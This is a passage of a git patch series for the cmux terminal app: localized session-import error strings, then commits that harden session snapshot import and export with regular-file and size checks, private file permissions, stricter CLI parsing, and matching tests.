"Aucun élément de %@ n'a pu être rouvert." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ から再度開けるものはありませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일에서 다시 열 수 있는 항목이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法重新打开 %@ 中的任何内容。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法重新開啟 %@ 中的任何內容。" + } + } + } + }, + "session.import.error.olderSchema": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%1$@ uses an older session format (%2$@) that this cmux no longer reads (%3$@)." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "يستخدم %1$@ تنسيق جلسة أقدم (%2$@) لم يعد هذا الـ cmux يقرؤه (%3$@)." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%1$@ verwendet ein älteres Sitzungsformat (%2$@), das dieses cmux nicht mehr liest (%3$@)." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%1$@ usa un formato de sesión anterior (%2$@) que este cmux ya no lee (%3$@)." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%1$@ utilise un ancien format de session (%2$@) que ce cmux ne lit plus (%3$@)." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%1$@ はこの cmux が読み込まなくなった古いセッション形式(%2$@)を使用しています(%3$@)。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 파일은 이 cmux가 더 이상 읽지 않는 이전 세션 형식(%2$@)을 사용합니다(%3$@)." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 使用较旧的会话格式(%2$@),此 cmux 已不再读取(%3$@)。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 使用較舊的工作階段格式(%2$@),此 cmux 已不再讀取(%3$@)。" + } + } + } + }, + "session.import.error.unknownChannel": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Unknown cmux channel \"%@\". Use stable, nightly, rc, staging, debug:<tag>, or a path to a session file." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "قناة cmux غير معروفة \"%@\". استخدم stable أو nightly أو rc أو staging أو debug:<tag> أو مسار ملف جلسة." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Unbekannter cmux-Kanal \"%@\". Verwenden Sie stable, nightly, rc, staging, debug:<tag> oder einen Pfad zu einer Sitzungsdatei." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Canal de cmux desconocido \"%@\". Usa stable, nightly, rc, staging, debug:<tag> o la ruta de un archivo de sesión." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Canal cmux inconnu « %@ ». Utilisez stable, nightly, rc, staging, debug:<tag> ou le chemin d'un fichier de session." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "不明な cmux チャンネル「%@」です。stable、nightly、rc、staging、debug:<tag>、またはセッションファイルのパスを指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "알 수 없는 cmux 채널 \"%@\"입니다. stable, nightly, rc, staging, debug:<tag> 또는 세션 파일 경로를 사용하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "未知的 cmux 渠道“%@”。请使用 stable、nightly、rc、staging、debug:<tag> 或会话文件路径。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "未知的 cmux 通道「%@」。請使用 stable、nightly、rc、staging、debug:<tag> 或工作階段檔案路徑。" + } + } + } + }, + "session.import.error.unreadable": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Could not read %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّرت قراءة %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ konnte nicht gelesen werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo leer %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Impossible de lire %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を読み込めませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일을 읽을 수 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法读取 %@。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法讀取 %@。" + } + } + } + }, + "session.import.error.liveSnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is the session this cmux is saving right now. Run cmux restore-session without --from to reopen the previous launch." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist die Sitzung, die dieses cmux gerade speichert. Führen Sie cmux restore-session ohne --from aus, um den vorherigen Start wieder zu öffnen." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ est la session que ce cmux enregistre actuellement. Exécutez cmux restore-session sans --from pour rouvrir le lancement précédent." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ هي الجلسة التي يحفظها cmux هذا الآن. شغّل cmux restore-session دون --from لإعادة فتح التشغيل السابق." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ es la sesión que este cmux está guardando ahora. Ejecuta cmux restore-session sin --from para volver a abrir el inicio anterior." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 目前正在儲存的工作階段。執行不含 --from 的 cmux restore-session 以重新開啟上次啟動的內容。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 当前正在保存的会话。运行不带 --from 的 cmux restore-session 以重新打开上次启动的内容。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 이 cmux가 지금 저장 중인 세션입니다. 이전 실행을 다시 열려면 --from 없이 cmux restore-session을 실행하세요." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はこの cmux が現在保存しているセッションです。前回の起動を再度開くには、--from を付けずに cmux restore-session を実行してください。" + } + } + } } }, "version": "1.0" From efc7f1e57e81c0a57a847f749816d9460283e86a Mon Sep 17 00:00:00 2001 From: teamleaderleo <cheerleaderleo@outlook.com> Date: Mon, 28 Sep 2026 02:36:37 -0400 Subject: [PATCH 13/16] restore-session transfer: harden import reads, backup sync, and CLI parsing - Import only reads regular files under a size cap, so a FIFO, device, or symlink to one cannot block the app's main thread. - Startup manual-restore sync no longer overwrites or removes a newer-schema backup when copying it aside failed. - A channel name (--from nightly) wins over a same-named file in the current directory; ./nightly still names the file. - --from/--export reject a flag as their value, and --force after -- is ignored. - Exported snapshots are written 0600. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- CLI/cmux.swift | 42 ++++++++++++++++--- .../Session/SessionSnapshotRepository.swift | 29 +++++++++++++ .../Session/SessionSnapshotStoring.swift | 8 ++++ .../SessionSnapshotTransferTests.swift | 22 ++++++++++ ...Delegate+CrashSessionSnapshotRemoval.swift | 9 +++- Sources/SessionSnapshotImportTrust.swift | 5 ++- .../CLIRestoreSessionTransferTests.swift | 18 ++++++++ 7 files changed, 123 insertions(+), 10 deletions(-) diff --git a/CLI/cmux.swift b/CLI/cmux.swift index 4b880b508d8f..aa512dafa354 100644 --- a/CLI/cmux.swift +++ b/CLI/cmux.swift @@ -8696,7 +8696,15 @@ struct CMUXCLI { ) throws { let (fromValue, afterFrom) = parseOption(commandArgs, name: "--from") let (exportValue, afterExport) = parseOption(afterFrom, name: "--export") - let force = afterExport.contains("--force") + // `--export --force` must not write a file named `--force`, and + // `--from --export x` must not treat `--export` as a channel. + for (flag, value) in [("--from", fromValue), ("--export", exportValue)] { + if let value, value.hasPrefix("--") { + throw CLIError(message: "restore-session: \(flag) requires a value") + } + } + let beforeTerminator = afterExport.prefix { $0 != "--" } + let force = beforeTerminator.contains("--force") let remaining = afterExport.filter { $0 != "--" && $0 != "--force" } if let unknown = remaining.first { if unknown == "--from" || unknown == "--export" { @@ -8769,25 +8777,47 @@ struct CMUXCLI { /// `session.import` params for `restore-session --from <value>`: a value /// that looks like a file path (contains `/`, starts with `~` or `.`, or - /// ends in `.json`) is sent as an absolute `path`; anything else is a - /// channel name or bundle id the app resolves (`source`). + /// ends in `.json`) is sent as an absolute `path`. A channel name or + /// bundle id (`source`) wins over a same-named file in the current + /// directory, so `--from nightly` never silently becomes an untrusted + /// file import; `./nightly` names the file. Any other bare name is a file + /// when it exists, otherwise a source the app resolves. func restoreSessionImportParams(_ rawValue: String) throws -> [String: Any] { let value = rawValue.trimmingCharacters(in: .whitespacesAndNewlines) guard !value.isEmpty else { throw CLIError(message: "restore-session: --from requires a channel or a file path") } let resolvedPath = resolvePath(value) - let looksLikePath = value.contains("/") + let explicitPath = value.contains("/") || value.hasPrefix("~") || value.hasPrefix(".") || value.lowercased().hasSuffix(".json") - || FileManager.default.fileExists(atPath: resolvedPath) - if looksLikePath { + if explicitPath { + return ["path": resolvedPath] + } + if Self.restoreSessionLooksLikeChannel(value) { + return ["source": value] + } + if FileManager.default.fileExists(atPath: resolvedPath) { return ["path": resolvedPath] } return ["source": value] } + /// Whether `value` names an install channel (`stable`, `release`, + /// `nightly`, `rc`, `staging`, `debug`, `debug:<tag>`, `dev:<tag>`) or a + /// cmux bundle identifier. Mirrors `SessionSnapshotFileLocation`. + static func restoreSessionLooksLikeChannel(_ value: String) -> Bool { + let lowered = value.lowercased() + if ["stable", "release", "nightly", "rc", "staging", "debug"].contains(lowered) { + return true + } + if lowered.hasPrefix("debug:") || lowered.hasPrefix("dev:") { + return true + } + return value == "com.cmuxterm.app" || value.hasPrefix("com.cmuxterm.app.") + } + /// Sends a session transfer request (`session.import` / `session.export`) /// to the running app. Unlike plain `restore-session`, these never launch /// cmux: importing into an app that is still starting would race its own diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index fd051db00efe..784982ae9736 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -114,12 +114,29 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti guard fileManager.fileExists(atPath: fileURL.path) else { return .failure(.fileNotFound(fileURL)) } + // Only read regular files of a bounded size: a FIFO or device node + // would block the reader forever and an unbounded file would be read + // whole into memory. `fileExists` follows symlinks, so check the + // resolved target. + let resolvedPath = fileURL.resolvingSymlinksInPath().path + guard let attributes = try? fileManager.attributesOfItem(atPath: resolvedPath), + attributes[.type] as? FileAttributeType == .typeRegular else { + return .failure(.notASessionSnapshot(fileURL)) + } + if let size = (attributes[.size] as? NSNumber)?.int64Value, + size > Self.maximumImportableSnapshotBytes { + return .failure(.notASessionSnapshot(fileURL)) + } guard let data = try? Data(contentsOf: fileURL) else { return .failure(.unreadable(fileURL)) } return importableSnapshot(data: data, fileURL: fileURL) } + /// Upper bound on a snapshot file accepted for import. Real snapshots + /// (scrollback included) are a few MiB at most. + static let maximumImportableSnapshotBytes: Int64 = 256 * 1024 * 1024 + private func importableSnapshot( data: Data, fileURL: URL @@ -215,6 +232,9 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti // Without overwrite, create the file exclusively (O_EXCL) so // a file that appears after the check above is never replaced. try data.write(to: destination, options: overwrite ? .atomic : .withoutOverwriting) + // The export carries scrollback and working directories; + // keep it private to the user like the live snapshot. + try? fileManager.setAttributes([.posixPermissions: 0o600], ofItemAtPath: destination.path) return .success(sourceURL) } catch { if !overwrite && itemExists(at: destination) { @@ -271,6 +291,15 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti return url } + public func preserveNewerSchemaSnapshotBeforeReplacing(fileURL: URL) -> Bool { + switch preserveNewerSchemaSnapshotOutcome(fileURL: fileURL) { + case .notNeeded, .preserved: + return true + case .failed: + return false + } + } + public func load(fileURL: URL? = nil) -> SnapshotValue? { guard let fileURL = fileURL ?? defaultSnapshotFileURL() else { return nil } guard case .loaded(let snapshot) = loadOutcome(fileURL: fileURL) else { return nil } diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift index 0aefbac2afc5..b47ab4a3e73f 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift @@ -85,6 +85,14 @@ public protocol SessionSnapshotStoring<SnapshotValue>: Sendable { @discardableResult func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? + /// Preserves a newer-schema snapshot at `fileURL` like + /// ``preserveNewerSchemaSnapshot(fileURL:)``. + /// + /// - Returns: Whether `fileURL` may now be overwritten or removed: true + /// when nothing needed preserving or the side file was written, false + /// when a newer-schema snapshot could not be copied aside. + func preserveNewerSchemaSnapshotBeforeReplacing(fileURL: URL) -> Bool + /// Copies the snapshot file at `fileURL` into the rotated history /// directory, then prunes history to its retention limit. Skips the copy /// when the newest history entry holds identical bytes. Returns the new diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift index 3438f469b6bc..ec0294000a27 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -220,6 +220,26 @@ struct SessionSnapshotTransferTests { #expect(repository.importableSnapshot(fileURL: empty).failure == .noWindows(empty)) } + @Test("import never reads a FIFO, a directory, or a symlink to one") + func importRejectsNonRegularFiles() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + + // Reading a FIFO with no writer would block forever. + let fifo = dir.appendingPathComponent("pipe.json") + #expect(mkfifo(fifo.path, 0o600) == 0) + #expect(repository.importableSnapshot(fileURL: fifo).failure == .notASessionSnapshot(fifo)) + + let link = dir.appendingPathComponent("link.json") + try FileManager.default.createSymbolicLink(at: link, withDestinationURL: fifo) + #expect(repository.importableSnapshot(fileURL: link).failure == .notASessionSnapshot(link)) + + let directory = dir.appendingPathComponent("folder.json", isDirectory: true) + try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) + #expect(repository.importableSnapshot(fileURL: directory).failure == .notASessionSnapshot(directory)) + } + // MARK: - Export and round trip @Test("export then import round-trips the saved snapshot byte for byte") @@ -236,6 +256,8 @@ struct SessionSnapshotTransferTests { #expect(source == nightly.defaultSnapshotFileURL()) #expect(try Data(contentsOf: destination) == Data(contentsOf: source)) + let permissions = try FileManager.default.attributesOfItem(atPath: destination.path)[.posixPermissions] as? NSNumber + #expect(permissions?.intValue == 0o600) let imported = try stable.importableSnapshot(fileURL: destination).get() #expect(imported.snapshot == saved) #expect(imported.fileURL == destination) diff --git a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift index 8b670f8b8784..9fa373b7dd72 100644 --- a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift +++ b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift @@ -38,10 +38,15 @@ extension AppDelegate { case .loaded = sessionSnapshotStore.loadOutcome(fileURL: backupURL) { return } + // Never replace a newer build's backup unless it was copied aside. + guard sessionSnapshotStore.preserveNewerSchemaSnapshotBeforeReplacing(fileURL: backupURL) else { + return + } _ = sessionSnapshotStore.save(prunedSnapshot, fileURL: backupURL) case .missing: - if !preserveExistingBackup && !Self.hasCrashOnlyPrimarySnapshotRemovalMarker() { - sessionSnapshotStore.preserveNewerSchemaSnapshot(fileURL: backupURL) + if !preserveExistingBackup, + !Self.hasCrashOnlyPrimarySnapshotRemovalMarker(), + sessionSnapshotStore.preserveNewerSchemaSnapshotBeforeReplacing(fileURL: backupURL) { sessionSnapshotStore.removeSnapshot(fileURL: backupURL) } case .unusable: diff --git a/Sources/SessionSnapshotImportTrust.swift b/Sources/SessionSnapshotImportTrust.swift index 60bdc03f3e1e..54a018fd8453 100644 --- a/Sources/SessionSnapshotImportTrust.swift +++ b/Sources/SessionSnapshotImportTrust.swift @@ -24,8 +24,9 @@ struct SessionSnapshotImportTrustReport: Equatable, Sendable { /// Restore policy for a session snapshot read from an arbitrary file /// (`cmux restore-session --from <path>`). /// -/// A file can carry anything, so nothing in it may run automatically or -/// reach outside the restored windows. Mirrors, and is stricter than, the +/// A file can carry anything, so no command from it may run automatically or +/// reach outside the restored windows. The one automatic launch is a +/// built-in agent resume whose command cmux generates itself (below). Mirrors, and is stricter than, the /// policy for public CLI/socket-created surface resume bindings: layout, /// working directories, text, and http(s) pages restore; command-bearing /// state is either reconstructed by cmux from known values or kept for diff --git a/cmuxCLITests/CLIRestoreSessionTransferTests.swift b/cmuxCLITests/CLIRestoreSessionTransferTests.swift index f309d1ca331c..6294e393274e 100644 --- a/cmuxCLITests/CLIRestoreSessionTransferTests.swift +++ b/cmuxCLITests/CLIRestoreSessionTransferTests.swift @@ -94,6 +94,22 @@ final class CLIRestoreSessionTransferTests { #expect(params?["source"] == nil) } + @Test func channelNameWinsOverSameNamedFileInCurrentDirectory() throws { + let (result, payloads) = try runAgainstMockServer( + label: "from-collide", + arguments: ["restore-session", "--from", "nightly"], + reply: ["restored": true, "source_path": "/support/session-com.cmuxterm.app.nightly.json", "window_count": 1], + prepareWorkDirectory: { directory in + try Data("{}".utf8).write(to: directory.appendingPathComponent("nightly")) + } + ) + + #expect(result.status == 0, Comment(rawValue: result.stderr)) + let params = payloads.first?["params"] as? [String: Any] + #expect(params?["source"] as? String == "nightly") + #expect(params?["path"] == nil) + } + @Test func exportSendsSessionExportWithForce() throws { let (result, payloads) = try runAgainstMockServer( label: "export", @@ -124,6 +140,8 @@ final class CLIRestoreSessionTransferTests { (["restore-session", "--from", "nightly", "--export", "/tmp/x.json"], "not both"), (["restore-session", "--force"], "--force only applies to --export"), (["restore-session", "--from"], "--from requires a value"), + (["restore-session", "--export", "--force"], "--export requires a value"), + (["restore-session", "--from", "--export", "/tmp/x.json"], "--from requires a value"), ]) func conflictingFlagsFailBeforeConnecting(arguments: [String], expected: String) throws { let result = runCLI(socketPath: makeSocketPath("noconn"), arguments: arguments) From 029d12ca1d8e269958edc7c69fdd85b42d68b7ad Mon Sep 17 00:00:00 2001 From: teamleaderleo <cheerleaderleo@outlook.com> Date: Mon, 28 Sep 2026 02:43:46 -0400 Subject: [PATCH 14/16] Use a computed static for the import size cap in the generic repository Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- .../CmuxWorkspaces/Session/SessionSnapshotRepository.swift | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index 784982ae9736..b240a675bb73 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -135,7 +135,7 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti /// Upper bound on a snapshot file accepted for import. Real snapshots /// (scrollback included) are a few MiB at most. - static let maximumImportableSnapshotBytes: Int64 = 256 * 1024 * 1024 + static var maximumImportableSnapshotBytes: Int64 { 256 * 1024 * 1024 } private func importableSnapshot( data: Data, From de65cfdb821d82a169b527d39dd47acc131b0b01 Mon Sep 17 00:00:00 2001 From: teamleaderleo <cheerleaderleo@outlook.com> Date: Mon, 28 Sep 2026 02:48:34 -0400 Subject: [PATCH 15/16] Check snapshot file type and size on the descriptor that is read Opening non-blocking and using fstat on the same descriptor closes the window where a symlink could be re-pointed to a FIFO after the check. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- .../Session/SessionSnapshotRepository.swift | 43 +++++++++++++------ 1 file changed, 29 insertions(+), 14 deletions(-) diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index b240a675bb73..338f59107934 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -114,23 +114,38 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti guard fileManager.fileExists(atPath: fileURL.path) else { return .failure(.fileNotFound(fileURL)) } - // Only read regular files of a bounded size: a FIFO or device node - // would block the reader forever and an unbounded file would be read - // whole into memory. `fileExists` follows symlinks, so check the - // resolved target. - let resolvedPath = fileURL.resolvingSymlinksInPath().path - guard let attributes = try? fileManager.attributesOfItem(atPath: resolvedPath), - attributes[.type] as? FileAttributeType == .typeRegular else { + switch Self.readRegularFile(atPath: fileURL.path, maximumBytes: Self.maximumImportableSnapshotBytes) { + case .data(let data): + return importableSnapshot(data: data, fileURL: fileURL) + case .notRegularOrTooLarge: return .failure(.notASessionSnapshot(fileURL)) - } - if let size = (attributes[.size] as? NSNumber)?.int64Value, - size > Self.maximumImportableSnapshotBytes { - return .failure(.notASessionSnapshot(fileURL)) - } - guard let data = try? Data(contentsOf: fileURL) else { + case .unreadable: return .failure(.unreadable(fileURL)) } - return importableSnapshot(data: data, fileURL: fileURL) + } + + private enum BoundedFileRead { + case data(Data) + case notRegularOrTooLarge + case unreadable + } + + /// Reads a regular file of at most `maximumBytes`. A FIFO or device node + /// would block the reader forever and an unbounded file would be read + /// whole into memory, so the file is opened non-blocking and its type + /// and size are checked on the same descriptor that is read (no window + /// for a symlink to be re-pointed between the check and the read). + private static func readRegularFile(atPath path: String, maximumBytes: Int64) -> BoundedFileRead { + let descriptor = open(path, O_RDONLY | O_NONBLOCK | O_CLOEXEC) + guard descriptor >= 0 else { return .unreadable } + let handle = FileHandle(fileDescriptor: descriptor, closeOnDealloc: true) + var status = stat() + guard fstat(descriptor, &status) == 0 else { return .unreadable } + guard (status.st_mode & S_IFMT) == S_IFREG, Int64(status.st_size) <= maximumBytes else { + return .notRegularOrTooLarge + } + guard let data = try? handle.readToEnd() else { return .unreadable } + return .data(data) } /// Upper bound on a snapshot file accepted for import. Real snapshots From 0484eade0b68e7a1ed43f2b2390c1199ca9c5550 Mon Sep 17 00:00:00 2001 From: Leo Li <cheerleaderleo@outlook.com> Date: Mon, 28 Sep 2026 03:19:36 -0400 Subject: [PATCH 16/16] README: show --force for replacing an existing session export Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index be0318d45285..44234123a45e 100644 --- a/README.md +++ b/README.md @@ -334,6 +334,7 @@ nightly and switching back to stable, run this from the install you want to open ```bash cmux restore-session --from nightly # or stable, rc, staging, debug:<tag> cmux restore-session --export ~/session.json # write this install's saved session to a file +cmux restore-session --export ~/session.json --force # replace an existing export file cmux restore-session --from ~/session.json # reopen an exported file ```